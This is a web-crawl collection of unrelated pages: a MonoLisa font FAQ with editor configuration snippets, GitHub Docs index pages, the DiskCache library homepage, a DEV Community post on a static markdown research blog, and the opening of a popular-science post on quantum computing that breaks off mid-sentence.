atsutil databases -remove atsutil server -shutdown atsutil server -ping Restart your computer Re-install the font (see previous question) Please refer to these instructions if you still can’t update the font. How to use the typeface in program X? Generally put, the editor support for special features included in MonoLisa is weak. VS Code documented below is an exception to this rule. For the rest, it’s preferable to use the customize tool to generate a typeface that makes sense for your use case. The same goes for terminals as majority of them don’t expose many font features and you are lucky if you can toggle ligatures. Design software tends to have better support (esp. Adobe products, Figma, and Affinity Designer). For something more presentation oriented, such as Pages, using the customize tool is the way to go again. How to enable alternate zero, stylistic sets, and the script variant? Some OpenType features of MonoLisa are optional and they are hidden behind stylistic sets. At the moment, editor support for the feature is unfortunately poor. VS Code In VS Code the example below, we enable calt glyphs (space alterations), disable ligatures ( liga ), enable the alternate zero ( zero ) and the script variant ( ss02 ) at settings.json : 01 02 03 04 05 { "editor.fontLigatures" : "'calt' on, 'liga' off, 'zero' on, 'ss02' on" } { "editor.fontLigatures": "'calt' on, 'liga' off, 'zero' on, 'ss02' on" } The editor.fontLigatures field accepts standard CSS. Other programs To mitigate the problem for the rest of the programs, additionally you can customize your font before downloading it (plus plan or above). This allows removing ligatures or enabling script variant by default for any editor. For the basic edition, please use fonttools-opentype-feature-freezer , MuTsunTsai/fontfreeze , or a comparable tool. How to enable slashed zero in the basic version? For editors that don’t support stylistic sets, please use fonttools-opentype-feature-freezer , MuTsunTsai/fontfreeze , or a comparable tool to freeze zero to the font. How to enable superscript and subscript characters? Both superscript and subscript versions of numbers are included by default and visible at the specimen page . The page also includes their UTF codes and Stack Overflow provides help on how to type them . Where can I find the script glyphs (ss02)? It’s important to note that the script glyphs have been defined only for the Italic variant of the typeface, not Normal. You can verify this behavior by looking at the specimen page . Furthermore, you have to apply italics on the features of code you want to highlight as otherwise it won’t do anything. Terminal How to enable Nerd Fonts with MonoLisa? Nerd Fonts is a popular collection of icons that can be patched to a font you use and the same process works with MonoLisa. There are two ways to make Nerd Fonts work with MonoLisa: fallback and patching. The fallback approach is preferable as then you don’t have to touch the font files when upgrading and using fallback has been covered at Nerd Fonts documentation (works for Windows, Linux). There’s more information available about fallbacks (Kitty terminal, VS Code) at described in this issue comment . In case the fallback approach doesn’t work for you and you want to patch, consider using daylinmorgan/monolisa-nerdfonts-patch . To avoid so called backtick issue , make sure you are using at least version 2.2.2 of Nerd Fonts. What are the recommended settings for iTerm 2? Depending on your display and sight, you could set the size even down to 11. It’s good to have anti-aliased on and set Use ligatures based on your preference. Example below: How to enable stylistic sets for the Kitty terminal? Use the following configuration (adjust font name to match the one on your system): kitty.conf: 01 02 03 04 05 06 07 08 09 10 11 12 13 # ref: https://sw.kovidgoyal.net/kitty/conf/#opt-kitty.font_features font_features MonoLisa-Medium +zero +ss04 +ss07 +ss08 +ss09 font_features MonoLisa-MediumItalic +zero +ss04 +ss07 +ss08 +ss09 # another way font_family family = "MonoLisa" bold_font auto italic_font auto bold_italic_font auto # Enable Script feature specifically font_features MonoLisa-RegularItalic +ss02 # ref: https://sw.kovidgoyal.net/kitty/conf/#opt-kitty.font_features font_features MonoLisa-Medium +zero +ss04 +ss07 +ss08 +ss09 font_features MonoLisa-MediumItalic +zero +ss04 +ss07 +ss08 +ss09 # another way font_family family="MonoLisa" bold_font auto italic_font auto bold_italic_font auto # Enable Script feature specifically font_features MonoLisa-RegularItalic +ss02 How to setup the progress bar glyphs in a terminal? See this GitHub comment for a script. WebStorm What are the suggested settings for WebStorm? Go to Preferences → Editor → Font and set the font to MonoLisa . Adjust the remaining options to your liking. Preferences → Editor → Font Visual Studio Code What are the suggested settings for Visual Studio Code? Make sure you are using the non-customized version with VS Code as it’s not needed there. You can customize which font features are used through configuration: 01 02 03 04 05 06 07 08 09 10 11 { "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" // When lineHeight is set to zero, VS Code will figure out the // the height automatically based on the font "editor.lineHeight" : 0 , // You can use standard CSS syntax here. To enable // ss01 for example, you could set "'ss01' on" "editor.fontLigatures" : true , "editor.fontSize" : 12 } { "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" // When lineHeight is set to zero, VS Code will figure out the // the height automatically based on the font "editor.lineHeight": 0, // You can use standard CSS syntax here. To enable // ss01 for example, you could set "'ss01' on" "editor.fontLigatures": true, "editor.fontSize": 12 } Note that if you have customized the name and use a whitespace in it, it’s preferable to escape the name (i.e., "'MonoLisa Custom'" ). See the font-family CSS rule for specifics . How to make italics show up in Visual Studio Code? You have to enable them at the theme level. See this Stack Overflow question for a couple of ways how to do it. How to enable the script variant (ss02) for comments or function names? Make sure you are using the non-customized version with VS Code as it’s not needed there. To make the script variant work, make sure ss02 is enabled and that italic font style is being applied to your theme. The configuration below does this globally for VS Code: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 { "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" "editor.fontLigatures" : "'ss02' on" , "editor.tokenColorCustomizations" : { "textMateRules" : [ { "scope" : "comment" , "settings" : { "fontStyle" : "italic" } } ] } } { "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" "editor.fontLigatures": "'ss02' on", "editor.tokenColorCustomizations": { "textMateRules": [ { "scope": "comment", "settings": { "fontStyle": "italic" } } ] } } See the related Stack Overflow question for more information and the customize-ui VS Code plugin . How to change the font weight? How to enable variable weight? In order to alter the font weight, you should use the editor.fontWeight field like this: 01 02 03 04 05 06 07 08 09 10 { // This works for both fixed weights and variable "editor.fontFamily" : "MonoLisa" , // Or "'MonoLisa'" "editor.fontWeight" : 400 , // If you are using the variable version, set fontVariations: true // After setting this, you can use any fontWeight between 100 and 900 "editor.fontVariations" : true } { // This works for both fixed weights and variable "editor.fontFamily": "MonoLisa", // Or "'MonoLisa'" "editor.fontWeight": 400, // If you are using the variable version, set fontVariations: true // After setting this, you can use any fontWeight between 100 and 900 "editor.fontVariations": true } Adjust the number based on the fonts you own. 400 is regular and the rest are with 100 increments (300 for light for example and 700 for bold). There’s more information about variable fonts in VS Code in this issue. How to make MonoLisa take less vertical space? If the default line height of MonoLisa feels too roomy for you, try adjusting it in VS Code like this: 01 02 03 04 { "editor.lineHeight" : 16 } { "editor.lineHeight": 16 } Tweak the number till it looks good to you. You can use zero to use the default measurement to compare. Get MonoLisa Tester Specimen Releases FAQ My orders Send feedback Follow on Twitter Subscribe for updates License Refund Policy Privacy Policy Cookie Policy Imprint © FaceType , 2026 Made in Vienna by Component-Driven | 2026-01-13T08:49:27 |
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https://docs.github.com/en/search-github | Search on GitHub documentation - GitHub Docs Skip to main content GitHub Docs Version: Free, Pro, & Team Search or ask Copilot Search or ask Copilot Select language: current language is English Search or ask Copilot Search or ask Copilot Open menu Open Sidebar Search on GitHub Home Search on GitHub Start with search on GitHub About searching on GitHub Understand search syntax Troubleshoot search queries Sorting search results Searching on GitHub Finding files on GitHub Search for repositories Searching topics Searching code (legacy) Searching commits Search issues & PRs Searching discussions Search GitHub Marketplace Search GitHub Models Searching users Searching for packages Searching wikis Searching in forks Searching gists GitHub Code Search About GitHub Code Search Using GitHub Code Search Code search syntax Search on GitHub documentation Learn how to use the search functions available on GitHub to find different types of information, like projects, people, and code. Overview Start here Searching issues and pull requests You can search for issues and pull requests on GitHub and narrow the results using these search qualifiers in any combination. Understanding GitHub Code Search syntax You can build search queries for the results you want with specialized code qualifiers, regular expressions, and boolean operations. Searching for repositories You can search for repositories on GitHub and narrow the results using these repository search qualifiers in any combination. Searching commits You can search for commits on GitHub and narrow the results using these commit search qualifiers in any combination. Popular About GitHub Code Search You can search, navigate and understand code across GitHub with code search. Understanding the search syntax When searching GitHub, you can construct queries that match specific numbers and words. Searching users You can search for users on GitHub and narrow the results using these user search qualifiers in any combination. Finding files on GitHub You can search for a file in a repository using the file finder. To search for a file in multiple repositories on GitHub, use the path code search qualifier. Guides Searching in forks By default, forks are not shown in search results. You can choose to include them in repository searches, and in code searches if they meet certain criteria. @GitHub Searching topics You can search for topics associated with repositories on GitHub. @GitHub Searching for packages You can search for packages on GitHub and narrow the results using search qualifiers. @GitHub All Search on GitHub docs Getting started with searching on GitHub About searching on GitHub Understanding the search syntax Troubleshooting search queries Sorting search results Searching on GitHub Finding files on GitHub Searching for repositories Searching topics Searching code (legacy) Searching commits Searching issues and pull requests Searching discussions Searching GitHub Marketplace Searching GitHub Models Searching users Searching for packages Searching wikis Searching in forks Searching gists GitHub Code Search About GitHub Code Search Using GitHub Code Search Understanding GitHub Code Search syntax Help and support Did you find what you needed? Yes No Privacy policy Help us make these docs great! All GitHub docs are open source. See something that's wrong or unclear? Submit a pull request. Make a contribution Learn how to contribute Still need help? Ask the GitHub community Contact support Legal © 2026 GitHub, Inc. Terms Privacy Status Pricing Expert services Blog | 2026-01-13T08:49:27 |
https://docs.github.com/en/pages | GitHub Pages documentation - GitHub Docs Skip to main content GitHub Docs Version: Free, Pro, & Team Search or ask Copilot Search or ask Copilot Select language: current language is English Search or ask Copilot Search or ask Copilot Open menu Open Sidebar GitHub Pages Home GitHub Pages Quickstart Get started What is GitHub Pages? Create a GitHub Pages site GitHub Pages limits Use custom workflows Configure publishing source Delete a GitHub Pages site Unpublish Pages site Create custom 404 page Secure site with HTTPS Use submodules with Pages Troubleshoot 404 errors Set up site with Jekyll GitHub Pages & Jekyll Create site with Jekyll Test site locally with Jekyll Add content to Pages site Set Markdown processor Add theme to Pages site Jekyll build errors for Pages Troubleshoot Jekyll errors Configure a custom domain Custom domains in GitHub Pages Manage a custom domain Verify a custom domain Troubleshoot a custom domain GitHub Pages documentation Learn how to create a website directly from a repository on GitHub. Explore website building tools like Jekyll and troubleshoot issues with your GitHub Pages site. Quickstart Overview Start here Configuring a publishing source for your GitHub Pages site You can configure your GitHub Pages site to publish when changes are pushed to a specific branch, or you can write a GitHub Actions workflow to publish your site. Creating a GitHub Pages site You can create a GitHub Pages site in a new or existing repository. Managing a custom domain for your GitHub Pages site You can set up or update certain DNS records and your repository settings to point the default domain for your GitHub Pages site to a custom domain. Popular About custom domains and GitHub Pages GitHub Pages supports using custom domains, or changing the root of your site's URL from the default, like octocat.github.io, to any domain you own. About GitHub Pages and Jekyll Jekyll is a static site generator with built-in support for GitHub Pages. Troubleshooting custom domains and GitHub Pages You can check for common errors to resolve issues with custom domains or HTTPS for your GitHub Pages site. Securing your GitHub Pages site with HTTPS HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your GitHub Pages site to transparently redirect all HTTP requests to HTTPS. Guides Creating a custom 404 page for your GitHub Pages site You can display a custom 404 error page when people try to access nonexistent pages on your site. @GitHub Adding a theme to your GitHub Pages site using Jekyll You can personalize your Jekyll site by adding and customizing a theme. @GitHub Troubleshooting Jekyll build errors for GitHub Pages sites You can use Jekyll build error messages to troubleshoot problems with your GitHub Pages site. @GitHub All GitHub Pages docs Getting started with GitHub Pages What is GitHub Pages? Creating a GitHub Pages site GitHub Pages limits Using custom workflows with GitHub Pages Configuring a publishing source for your GitHub Pages site Deleting a GitHub Pages site Unpublishing a GitHub Pages site Creating a custom 404 page for your GitHub Pages site Securing your GitHub Pages site with HTTPS Using submodules with GitHub Pages Troubleshooting 404 errors for GitHub Pages sites Setting up a GitHub Pages site with Jekyll About GitHub Pages and Jekyll Creating a GitHub Pages site with Jekyll Testing your GitHub Pages site locally with Jekyll Adding content to your GitHub Pages site using Jekyll Setting a Markdown processor for your GitHub Pages site using Jekyll Adding a theme to your GitHub Pages site using Jekyll About Jekyll build errors for GitHub Pages sites Troubleshooting Jekyll build errors for GitHub Pages sites Configuring a custom domain for your GitHub Pages site About custom domains and GitHub Pages Managing a custom domain for your GitHub Pages site Verifying your custom domain for GitHub Pages Troubleshooting custom domains and GitHub Pages Help and support Did you find what you needed? Yes No Privacy policy Help us make these docs great! All GitHub docs are open source. See something that's wrong or unclear? Submit a pull request. Make a contribution Learn how to contribute Still need help? Ask the GitHub community Contact support Legal © 2026 GitHub, Inc. Terms Privacy Status Pricing Expert services Blog | 2026-01-13T08:49:27 |
https://grantjenks.com/docs/diskcache/?featured_on=talkpython | DiskCache: Disk Backed Cache — DiskCache 5.6.1 documentation DiskCache: Disk Backed Cache ¶ DiskCache is an Apache2 licensed disk and file backed cache library, written in pure-Python, and compatible with Django. The cloud-based computing of 2023 puts a premium on memory. Gigabytes of empty space is left on disks as processes vie for memory. Among these processes is Memcached (and sometimes Redis) which is used as a cache. Wouldn’t it be nice to leverage empty disk space for caching? Django is Python’s most popular web framework and ships with several caching backends. Unfortunately the file-based cache in Django is essentially broken. The culling method is random and large caches repeatedly scan a cache directory which slows linearly with growth. Can you really allow it to take sixty milliseconds to store a key in a cache with a thousand items? In Python, we can do better. And we can do it in pure-Python! In [ 1 ]: import pylibmc In [ 2 ]: client = pylibmc . Client ([ '127.0.0.1' ], binary = True ) In [ 3 ]: client [ b 'key' ] = b 'value' In [ 4 ]: % timeit client [ b 'key' ] 10000 loops , best of 3 : 25.4 µs per loop In [ 5 ]: import diskcache as dc In [ 6 ]: cache = dc . Cache ( 'tmp' ) In [ 7 ]: cache [ b 'key' ] = b 'value' In [ 8 ]: % timeit cache [ b 'key' ] 100000 loops , best of 3 : 11.8 µs per loop Note: Micro-benchmarks have their place but are not a substitute for real measurements. DiskCache offers cache benchmarks to defend its performance claims. Micro-optimizations are avoided but your mileage may vary. DiskCache efficiently makes gigabytes of storage space available for caching. By leveraging rock-solid database libraries and memory-mapped files, cache performance can match and exceed industry-standard solutions. There’s no need for a C compiler or running another process. Performance is a feature and testing has 100% coverage with unit tests and hours of stress. Testimonials ¶ Daren Hasenkamp , Founder – “It’s a useful, simple API, just like I love about Redis. It has reduced the amount of queries hitting my Elasticsearch cluster by over 25% for a website that gets over a million users/day (100+ hits/second).” Mathias Petermann , Senior Linux System Engineer – “I implemented it into a wrapper for our Ansible lookup modules and we were able to speed up some Ansible runs by almost 3 times. DiskCache is saving us a ton of time.” Does your company or website use DiskCache ? Send us a message and let us know. Features ¶ Pure-Python Fully Documented Benchmark comparisons (alternatives, Django cache backends) 100% test coverage Hours of stress testing Performance matters Django compatible API Thread-safe and process-safe Supports multiple eviction policies (LRU and LFU included) Keys support “tag” metadata and eviction Developed on Python 3.10 Tested on CPython 3.6, 3.7, 3.8, 3.9, 3.10 Tested on Linux, Mac OS X, and Windows Tested using GitHub Actions Quickstart ¶ Installing DiskCache is simple with pip : $ pip install diskcache You can access documentation in the interpreter with Python’s built-in help function: >>> import diskcache >>> help ( diskcache ) The core of DiskCache is three data types intended for caching. Cache objects manage a SQLite database and filesystem directory to store key and value pairs. FanoutCache provides a sharding layer to utilize multiple caches and DjangoCache integrates that with Django : >>> from diskcache import Cache , FanoutCache , DjangoCache >>> help ( Cache ) >>> help ( FanoutCache ) >>> help ( DjangoCache ) Built atop the caching data types, are Deque and Index which work as a cross-process, persistent replacements for Python’s collections.deque and dict . These implement the sequence and mapping container base classes: >>> from diskcache import Deque , Index >>> help ( Deque ) >>> help ( Index ) Finally, a number of recipes for cross-process synchronization are provided using an underlying cache. Features like memoization with cache stampede prevention, cross-process locking, and cross-process throttling are available: >>> from diskcache import memoize_stampede , Lock , throttle >>> help ( memoize_stampede ) >>> help ( Lock ) >>> help ( throttle ) Python’s docstrings are a quick way to get started but not intended as a replacement for the DiskCache Tutorial and DiskCache API Reference . User Guide ¶ For those wanting more details, this part of the documentation describes tutorial, benchmarks, API, and development. DiskCache Tutorial DiskCache Cache Benchmarks DiskCache DjangoCache Benchmarks Case Study: Web Crawler Case Study: Landing Page Caching Talk: All Things Cached - SF Python 2017 Meetup DiskCache API Reference DiskCache Development Comparisons ¶ Comparisons to popular projects related to DiskCache . Key-Value Stores ¶ DiskCache is mostly a simple key-value store. Feature comparisons with four other projects are shown in the tables below. dbm is part of Python’s standard library and implements a generic interface to variants of the DBM database — dbm.gnu or dbm.ndbm. If none of these modules is installed, the slow-but-simple dbm.dumb is used. shelve is part of Python’s standard library and implements a “shelf” as a persistent, dictionary-like object. The difference with “dbm” databases is that the values can be anything that the pickle module can handle. sqlitedict is a lightweight wrapper around Python’s sqlite3 database with a simple, Pythonic dict-like interface and support for multi-thread access. Keys are arbitrary strings, values arbitrary pickle-able objects. pickleDB is a lightweight and simple key-value store. It is built upon Python’s simplejson module and was inspired by Redis. It is licensed with the BSD three-clause license. Features Feature diskcache dbm shelve sqlitedict pickleDB Atomic? Always Maybe Maybe Maybe No Persistent? Yes Yes Yes Yes Yes Thread-safe? Yes No No Yes No Process-safe? Yes No No Maybe No Backend? SQLite DBM DBM SQLite File Serialization? Customizable None Pickle Customizable JSON Data Types? Mapping/Deque Mapping Mapping Mapping Mapping Ordering? Insert/Sorted None None None None Eviction? LRU/LFU/more None None None None Vacuum? Automatic Maybe Maybe Manual Automatic Transactions? Yes No No Maybe No Multiprocessing? Yes No No No No Forkable? Yes No No No No Metadata? Yes No No No No Quality Project diskcache dbm shelve sqlitedict pickleDB Tests? Yes Yes Yes Yes Yes Coverage? Yes Yes Yes Yes No Stress? Yes No No No No CI Tests? Linux/Windows Yes Yes Linux No Python? 2/3/PyPy All All 2/3 2/3 License? Apache2 Python Python Apache2 3-Clause BSD Docs? Extensive Summary Summary Readme Summary Benchmarks? Yes No No No No Sources? GitHub GitHub GitHub GitHub GitHub Pure-Python? Yes Yes Yes Yes Yes Server? No No No No No Integrations? Django None None None None Timings These are rough measurements. See DiskCache Cache Benchmarks for more rigorous data. Project diskcache dbm shelve sqlitedict pickleDB get 25 µs 36 µs 41 µs 513 µs 92 µs set 198 µs 900 µs 928 µs 697 µs 1,020 µs delete 248 µs 740 µs 702 µs 1,717 µs 1,020 µs Caching Libraries ¶ joblib.Memory provides caching functions and works by explicitly saving the inputs and outputs to files. It is designed to work with non-hashable and potentially large input and output data types such as numpy arrays. klepto extends Python’s lru_cache to utilize different keymaps and alternate caching algorithms, such as lfu_cache and mru_cache . Klepto uses a simple dictionary-sytle interface for all caches and archives. Data Structures ¶ dict is a mapping object that maps hashable keys to arbitrary values. Mappings are mutable objects. There is currently only one standard Python mapping type, the dictionary. pandas is a Python package providing fast, flexible, and expressive data structures designed to make working with “relational” or “labeled” data both easy and intuitive. Sorted Containers is an Apache2 licensed sorted collections library, written in pure-Python, and fast as C-extensions. Sorted Containers implements sorted list, sorted dictionary, and sorted set data types. Pure-Python Databases ¶ ZODB supports an isomorphic interface for database operations which means there’s little impact on your code to make objects persistent and there’s no database mapper that partially hides the datbase. CodernityDB is an open source, pure-Python, multi-platform, schema-less, NoSQL database and includes an HTTP server version, and a Python client library that aims to be 100% compatible with the embedded version. TinyDB is a tiny, document oriented database optimized for your happiness. If you need a simple database with a clean API that just works without lots of configuration, TinyDB might be the right choice for you. Object Relational Mappings (ORM) ¶ Django ORM provides models that are the single, definitive source of information about data and contains the essential fields and behaviors of the stored data. Generally, each model maps to a single SQL database table. SQLAlchemy is the Python SQL toolkit and Object Relational Mapper that gives application developers the full power and flexibility of SQL. It provides a full suite of well known enterprise-level persistence patterns. Peewee is a simple and small ORM. It has few (but expressive) concepts, making it easy to learn and intuitive to use. Peewee supports Sqlite, MySQL, and PostgreSQL with tons of extensions. SQLObject is a popular Object Relational Manager for providing an object interface to your database, with tables as classes, rows as instances, and columns as attributes. Pony ORM is a Python ORM with beautiful query syntax. Use Python syntax for interacting with the database. Pony translates such queries into SQL and executes them in the database in the most efficient way. SQL Databases ¶ SQLite is part of Python’s standard library and provides a lightweight disk-based database that doesn’t require a separate server process and allows accessing the database using a nonstandard variant of the SQL query language. MySQL is one of the world’s most popular open source databases and has become a leading database choice for web-based applications. MySQL includes a standardized database driver for Python platforms and development. PostgreSQL is a powerful, open source object-relational database system with over 30 years of active development. Psycopg is the most popular PostgreSQL adapter for the Python programming language. Oracle DB is a relational database management system (RDBMS) from the Oracle Corporation. Originally developed in 1977, Oracle DB is one of the most trusted and widely used enterprise relational database engines. Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it stores and retrieves data as requested by other software applications. Other Databases ¶ Memcached is free and open source, high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load. Redis is an open source, in-memory data structure store, used as a database, cache and message broker. It supports data structures such as strings, hashes, lists, sets, sorted sets with range queries, and more. MongoDB is a cross-platform document-oriented database program. Classified as a NoSQL database program, MongoDB uses JSON-like documents with schema. PyMongo is the recommended way to work with MongoDB from Python. LMDB is a lightning-fast, memory-mapped database. With memory-mapped files, it has the read performance of a pure in-memory database while retaining the persistence of standard disk-based databases. BerkeleyDB is a software library intended to provide a high-performance embedded database for key/value data. Berkeley DB is a programmatic toolkit that provides built-in database support for desktop and server applications. LevelDB is a fast key-value storage library written at Google that provides an ordered mapping from string keys to string values. Data is stored sorted by key and users can provide a custom comparison function. Reference ¶ DiskCache Documentation DiskCache at PyPI DiskCache at GitHub DiskCache Issue Tracker License ¶ Copyright 2016-2023 Grant Jenks Licensed under the Apache License, Version 2.0 (the “License”); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. DiskCache Give Support If you or your organization uses DiskCache, consider financial support: Give to Python DiskCache Table of Contents DiskCache: Disk Backed Cache Testimonials Features Quickstart User Guide Comparisons Key-Value Stores Caching Libraries Data Structures Pure-Python Databases Object Relational Mappings (ORM) SQL Databases Other Databases Reference License Related Topics Documentation overview Next: DiskCache Tutorial Quick search ©2023, Grant Jenks. | Page source | 2026-01-13T08:49:27 |
https://dev.to/quochuydev/how-i-built-a-zero-dependency-technical-research-blog-with-just-html-css-and-markdown-kc2#comments | How I Built a Zero-Dependency Technical Research Blog with Just HTML, CSS, and Markdown - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Huy Pham Posted on Jan 13 How I Built a Zero-Dependency Technical Research Blog with Just HTML, CSS, and Markdown # news # research # technical # claudecode Ever find yourself drowning in bookmarks, scattered notes, and half-finished documentation about technologies you're researching? I did too—until I built something simpler. The Problem Technical notes scattered across Notion, Google Docs, and random markdown files No central place to organize research on new technologies and platforms Setting up a blog feels like overkill—why do I need a database for markdown? Want to share knowledge but don't want to maintain complex infrastructure Diagrams and code examples should just work without plugins The Solution: Tech Research A static blog that turns a folder of markdown files into a searchable knowledge base—deployed free on GitHub Pages with zero dependencies. # Add an article, run the script, push. Done. echo "# My Research" > researching/new-topic.md ./update-manifest.sh git push Enter fullscreen mode Exit fullscreen mode Your research is live in seconds, not hours. How It Works Write in Markdown - Create .md files in the researching/ directory with GitHub-flavored syntax Run the Manifest Script - ./update-manifest.sh scans your articles and builds the index Push to GitHub - GitHub Actions automatically deploys to GitHub Pages Browse and Search - The SPA loads your manifest and renders articles on demand No build step. No Node.js. No framework churn. Get Started in 30 Seconds git clone https://github.com/quochuydev/tech-research.git cd tech-research python -m http.server 8000 # or: npx serve . Enter fullscreen mode Exit fullscreen mode This gives you: index.html - The single-page application that renders everything researching/ - Drop your markdown articles here update-manifest.sh - Regenerates the article index manifest.json - Searchable registry of all your content Topics You Can Research Category Examples Use Case Blockchain Bitcoin, Solana, BSC Crypto research and earning ideas AI Tools Claude Code, Moondream Evaluating AI platforms DevOps Dokploy, OAuth2-proxy, Zitadel Self-hosting infrastructure Architecture C4 Model, ADRs System design documentation Automation n8n, LiveKit Workflow and real-time tools Why This Works Zero Dependencies - Pure HTML/CSS/JS means nothing breaks when packages update Mermaid Diagrams Built-in - Architecture diagrams render without extra tooling GitHub Pages = Free Hosting - Push and forget, GitHub handles SSL and CDN Markdown First - Write naturally, let the SPA handle rendering Version Controlled Knowledge - Your research history lives in git commits Try It Fork the repo and start documenting your own tech research: git clone https://github.com/quochuydev/tech-research.git cd tech-research # Create your first article echo "--- title: My First Research category: Learning --- # Topic Overview Your research goes here..." > researching/my-topic-overview.md ./update-manifest.sh Enter fullscreen mode Exit fullscreen mode Open index.html in your browser—your article is already there. Website : https://quochuydev.github.io/tech-research/ What's the most disorganized part of your technical learning process? I'd love to hear what topics you'd document first. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Huy Pham Follow Joined Nov 16, 2021 More from Huy Pham How I Built a Documentation-Driven Development Workflow with Claude Code # workflow # claudecode # claude # github 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . 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https://future.forem.com/omer_dahan_6305e5f4900a75/quantum-computing-minimal-energy-states-unlocking-revolutionary-potential-for-israeli-innovation-3ff8 | Quantum Computing & Minimal Energy States: Unlocking Revolutionary Potential for Israeli Innovation - Future Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. 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Report Abuse Omer Dahan Posted on Dec 13, 2025 • Originally published at blog.does.center Quantum Computing & Minimal Energy States: Unlocking Revolutionary Potential for Israeli Innovation # energy # quantum # science Quantum computing takes us on a journey to the very limits of nature—a realm where the classical rules of physics fade into a landscape dominated by the peculiar behavior of atoms and subatomic particles. Rather than examining large-scale objects or everyday phenomena, quantum engineers harness the extraordinary properties of matter at its most fundamental level. In doing so, they explore the unique energy states of particles and the inherent potential locked within the quantum vacuum. Imagine the quantum world as an expansive, invisible stage where atoms and particles perform a dance governed not by definite positions and trajectories, but by probabilities and energy fluctuations. Unlike traditional computers that process bits in a clear-cut 0 or 1, quantum systems use quantum bits, or qubits. These qubits can exist in superpositions—essentially a blend of states—lifting computational capabilities to heights that can, in theory, solve problems far too complex for classical machines. One of the central features that intrigues researchers is the tendency of these particles to settle into the lowest possible energy configuration—often referred to as the ground state. Why is this transition to the lowest energy state so critical? Simply put, it allows scientists to tap into a realm of stability and predictability amidst quantum chaos. When a system minimizes its energy, its behavior becomes slightly easier to predict and control, which is essential when you’re trying to harness quantum phenomena for practical applications. In the world of quantum computing, preparing a system in its ground state is akin to setting up the perfect starting point for a race. Everything begins in a controlled, stable configuration, ensuring that any computations performed have a reliable baseline. Achieving this state, however, is far from trivial. It involves cooling systems to near absolute zero, isolating them from external disturbances, and employing sophisticated techniques to manipulate and observe quantum states without causing unwanted disturbances—a process known as decoherence. The benefits of operating at or near the lowest energy state are manifold. For one, it enhances the coherence time of qubits—the duration during which they maintain their quantum properties. In practical terms, a longer coherence time means more complex computations can be performed before random errors, introduced by environmental noise, start interfering with the results. This is extremely significant because one of the major hurdles in quantum computing is managing these delicate quantum states before they collapse into classical bits. Let’s delve into some relatable examples and use-cases that illustrate how quantum computing—and its focus on minimal energy states—can revolutionize various fields. Consider the task of simulating complex chemical reactions. In classical computing, simulating the exhaustive interactions among numerous electrons is exceedingly resource-intensive, often requiring simplifying assumptions that can diminish the accuracy of the simulation. Quantum computers, by contrast, naturally operate on the same quantum principles governing the chemicals themselves. When initialized in a stable, low-energy condition, these machines can mirror chemical behaviors with far greater fidelity. This progress could lead not only to the design of new, effective pharmaceuticals but also to the discovery of novel materials with tailored properties. Another promising domain is optimization. Many real-world problems—from routing logistics in transportation networks to financial modeling—require sifting through vast numbers of potential solutions. Traditional computers, despite their power, struggle to efficiently navigate these immense solution spaces. Quantum algorithms, such as the quantum annealing process, rely on gradually lowering the energy of a system to find an optimal or near-optimal answer. By exploiting the nuances of the quantum vacuum and the natural inclination of particles to adopt the lowest energy configuration, these algorithms can often uncover solutions much faster than brute-force methods on classical hardware. Security, too, stands to gain 